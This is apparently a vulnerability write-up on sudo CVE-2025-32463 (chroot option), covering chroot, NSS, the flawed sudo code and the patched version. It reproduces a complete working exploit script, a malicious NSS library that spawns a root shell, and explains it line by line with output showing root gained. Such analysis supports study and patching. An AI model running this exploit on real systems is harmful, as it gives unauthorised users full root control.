CVE-2025-32463 Sudo chroot (chwoot)

Introduction

The Stratascale Cyber Research Unit (CRU) recently discovered multiple local privilege escalation vulnerabilities in sudo. This research focuses on CVE-2025-32463, a flaw in the rarely used --chroot (-R) option that allows a local user to escalate privileges to root, even in tightly restricted environments where sudo access appears minimal.

What is sudo

On almost every Unix-like system, sudo is a foundational privilege management tool that allows users to execute commands as another user, typically root. It plays a critical role in enforcing the principle of least privilege, enabling administrators to delegate specific administrative tasks without revealing the root password. Additionally, sudo ensures accountability by logging every privileged action to system logs, creating an audit trail essential for monitoring, auditing, and forensic investigations.

On June 28, 2025, security researcher Rich Mirch of the Stratascale Cyber Research Unit disclosed a critical vulnerability in sudo related to its --chroot option. This vulnerability is tracked as:

CVE-2025-32463 β€” Sudo Chroot Privilege Escalation

This bug was rated critical due to its minimal requirements for exploitation and the complete root compromise it enables.

Summary of the Vulnerability:

  • CVSS v3.1 Score: 9.3 (Critical)

  • Impact: Allows local privilege escalation to root, even when a user is confined to a chroot environment

  • Affected Versions: sudo stable 1.9.14 - 1.9.17

    Exploitation has been verified on:

    • Ubuntu 24.04.1; Sudo 1.9.15p5, Sudo 1.9.16p2

    • Fedora 41 Server; Sudo 1.9.15p5

    Legacy versions (<= 1.8.32) are not affected, as the --chroot feature did not exist prior to sudo 1.9.14.

  • Discovered by: Rich Mirch of the Stratascale Cyber Research Unit

  • Patched in: sudo 1.9.17p1, released June 30, 2025

Remediation

Impact

The default sudo configuration is vulnerable in versions where the --chroot option is supported. Although this vulnerability involves the sudo -R (chroot) feature, it does not require any custom sudoers rules to be defined for a specific command. If a user is allowed to invoke sudo -R even with minimal privileges. they may be able to exploit this vulnerability to gain full root access.

This means that any local unprivileged user could potentially escalate privileges to root if a vulnerable version of sudo is installed and the -R option is accessible to them. Importantly, the exploit does not depend on network access, remote code execution, or any kernel-level vulnerability. It abuses how sudo interacts with the Name Service Switch (NSS) mechanism from within a chrooted environment.

Exploitation has been verified on:

  • Ubuntu 24.04.1; Sudo 1.9.15p5, Sudo 1.9.16p2

  • Fedora 41 Server; Sudo 1.9.15p5

What is chroot

chroot, short for β€œchange root”, is a Unix/Linux feature that lets you change the apparent root directory (/) for the current process and its children. It’s often used for sandboxing or recovery environments, but it was never designed as a security feature.

Once inside a chroot, the process sees the specified directory as /, and cannot see or access anything β€œoutside” of it.

You might use chroot when:

  • You want to run a program in isolation, away from the real system files.

  • You're compiling or testing software in a clean environment.

  • You're setting up a basic development jail for untrusted code.

Let’s walk through a basic example to simulate what a chroot environment looks like.

Step 1: Create a fake root directory structure

mkdir -p ~/chroot_env/{bin,lib64,etc}

Step 2: Copy a statically linked binary

cp /bin/bash ~/chroot_env/bin/

Step 3: Enter the chroot

sudo chroot ~/chroot_env /bin/bash

Now inside the chroot:

  • Your root / is actually ~/chroot_env/

  • Commands like ls, find, and /etc/passwd do not exist unless explicitly copied in

  • You’re in a sandboxed view of the filesystem

Here’s what the shell looks like:

user@kali:~$ sudo chroot ~/chroot_env /bin/bash
bash-5.2# cd /
bash-5.2# ls
bash: ls: command not found
bash-5.2# find .
bash: find: command not found
bash-5.2# echo *
bin lib lib64
bash-5.2# echo bin/*
bin/bash

chroot β‰  Security

Even though chroot limits the visible filesystem, it does not prevent privilege escalation or full system access if:

  • The process is running as root inside the chroot

  • The attacker retains open file descriptors to outside paths

  • The program inside the chroot loads libraries or configuration from outside (e.g., NSS)

In fact, this lack of isolation is exactly what makes CVE-2025-32463 dangerous: sudo -R assumes chroot isolation, but under certain conditions, it loads attacker-controlled code as root from outside the chroot.


To help you understand why this vulnerability works, we need to explain:

What is NSS (Name Service Switch)?

Name Service Switch (NSS) is a component of the GNU C Library (glibc) that defines how a system resolves names for users, groups, hosts, etc. It allows Linux to flexibly query information from various sources like:

  • /etc/passwd

  • LDAP

  • NIS

  • DNS

it's controlled by the file:

/etc/nsswitch.conf

inisde this file:
passwd:         files systemd
group:          files
hosts:          files dns

This tells the system:

  • When resolving usernames (passwd), first check /etc/passwd, then query systemd.

  • For hostnames, check /etc/hosts, then DNS.

Behind the scenes, the GNU C Library (glibc) uses shared libraries to implement each NSS module.

  • files β†’ /lib/x86_64-linux-gnu/libnss_files.so.2

  • dns β†’ /lib/x86_64-linux-gnu/libnss_dns.so.2

  • systemd β†’ /lib/x86_64-linux-gnu/libnss_systemd.so.2

What makes NSS dangerous in this context is how glibc dynamically loads shared libraries (like libnss_files.so.2) at runtime based on configuration. If sudo calls any name resolution function after it enters a chroot, and that chroot contains attacker-controlled versions of these libraries, it results in arbitrary code execution as root.

So if your process is chrooted, those libraries will be looked for inside the chroot.

How sudo interacts with NSS

When you run a command with sudo, it needs to:

  • Resolve the target username and group

  • Log actions by resolving the calling user

  • Apply the correct sudoers policies based on resolved identities

All of these steps rely on name resolution. which is handled via glibc’s NSS system.

Vulnerable source code analysis

/* src/exec.c – vulnerable version (1.9.17) */
static bool
exec_setup(struct command_details *details, int intercept_fd, int errfd)
{
    ...

    /* Close file descriptors before chroot or uid switch */
    close_fds(details, errfd, intercept_fd);

    /*  VULNERABILITY: chroot() occurs BEFORE any NSS-based resolution */
    if (details->chroot) {
        if (chroot(details->chroot) != 0 || chdir("/") != 0) {
            sudo_warn(U_("unable to change root to %s"), details->chroot);
            goto done;
        }
    }

    /* Drop privileges to target user */
    if (setresuid(details->cred.uid, details->cred.euid, details->cred.euid) != 0) {
        sudo_warn(U_("unable to change to runas uid (%u, %u)"),
                  (unsigned int)details->cred.uid,
                  (unsigned int)details->cred.euid);
        goto done;
    }

    ...
    return true;
}

These functions depend on glibc’s Name Service Switch (NSS) mechanism, which:

  • Reads /etc/nsswitch.conf to determine what backend to use (files, ldap, etc.)

  • Dynamically loads libnss_*.so.2 from /lib or /usr/lib

Since the root directory has been changed, these libraries are now attacker-controlled. And since sudo is still running as setuid root, those libraries are executed with elevated privileges.

Exploitation flow

Attacker creates fake root at /tmp/chrooted and includes:

  • Malicious libnss_files.so.2

  • Controlled /etc/nsswitch.conf

Runs:

sudo -R /tmp/chrooted id

Inside sudo:

  • Calls chroot("/tmp/chrooted")

  • Later calls getpwuid() or similar (e.g., via PAM or group setup)

  • glibc:

    • Reads attacker's /etc/nsswitch.conf

    • Loads attacker's /lib/libnss_files.so.2

  • Malicious .so runs with root privileges

Unprivileged User
     |
     v
sudo -R /tmp/chrooted id
     |
     v
[exec_setup()]
 |
 |---> chroot("/tmp/chrooted")
 |---> chdir("/")
 |
 |---> getpwuid() ➜ reads /etc/nsswitch.conf inside chroot
       ➜ loads libnss_files.so.2 inside chroot
       ➜ executes attacker's code as root

POC analysis

CVE-2025-32463_chwoot

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

if [ $# -eq 0 ]; then
    # If no command is provided, default to an interactive root shell.
    CMD="/bin/bash"
else
    # Otherwise, use the provided arguments as the command to execute.
    CMD="$@"
fi

# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

Creates a temporary working directory under /tmp for our chrooted exploit environment. mktemp -d ensures a random, safe directory name.

if [ $# -eq 0 ]; then
    CMD="/bin/bash"
else
    CMD="$@"
fi

Handles input: If the user supplies no arguments, default to launching a root shell (/bin/bash). If arguments are provided, use them as the command to run inside the chroot.

CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')

Escapes special characters so that the Bash command can be embedded inside a C string safely.

cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

This is the payload:

  • __attribute__((constructor)) means: run this function automatically when the library loads.

  • setreuid(0, 0) and setregid(0, 0): become root.

  • chdir("/"): clean up working directory.

  • execl("/bin/sh", ...): spawn a shell as root.

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

Prepares the chroot environment:

  • woot/ becomes the root.

  • nsswitch.conf says: use a fake NSS backend called /woot1337 for passwd resolution.

    • This forces glibc to look for libnss_woot1337.so.2 in /lib or libnss_*/.

  • The group file is copied so that basic commands relying on group resolution don’t crash.

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

Compiles the payload:

  • -shared -fPIC: produces a shared object suitable for dynamic loading.

  • -Wl,-init,woot: ensures the woot() constructor runs when loaded.

  • Output file is libnss_/woot1337.so.2, which glibc will use when resolving passwd.

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
  • sudo -R woot woot β†’ invokes sudo in a chroot environment rooted at woot/, and runs the woot command.

  • rm -rf ${STAGE}: cleanup.

Executing the poc

kali@kali:~/CVE-2025-32463$ id
uid=1001(kali) gid=1001(kali) groups=1001(kali)
kali@kali:~/CVE-2025-32463$ sudo -l
[sudo] password for kali:
Sorry, user kali may not run sudo on kali.
kali@kali:~/CVE-2025-32463$ ./sudo-chwoot.sh
woot!
root@kali: id
uid=0(root) gid=0(root) groups=0(root),1001(kali)

Acknowledgement & Credit

The CVE-2025-32463 Sudo chroot Elevation of Privilege Vulnerability was discovered by Rich Mirch of the Stratascale Cyber Research Unit. The Stratascale CRU team thanks the Sudo maintainer, Todd Miller, for the partnership in resolving these issues.

Last updated

Was this helpful?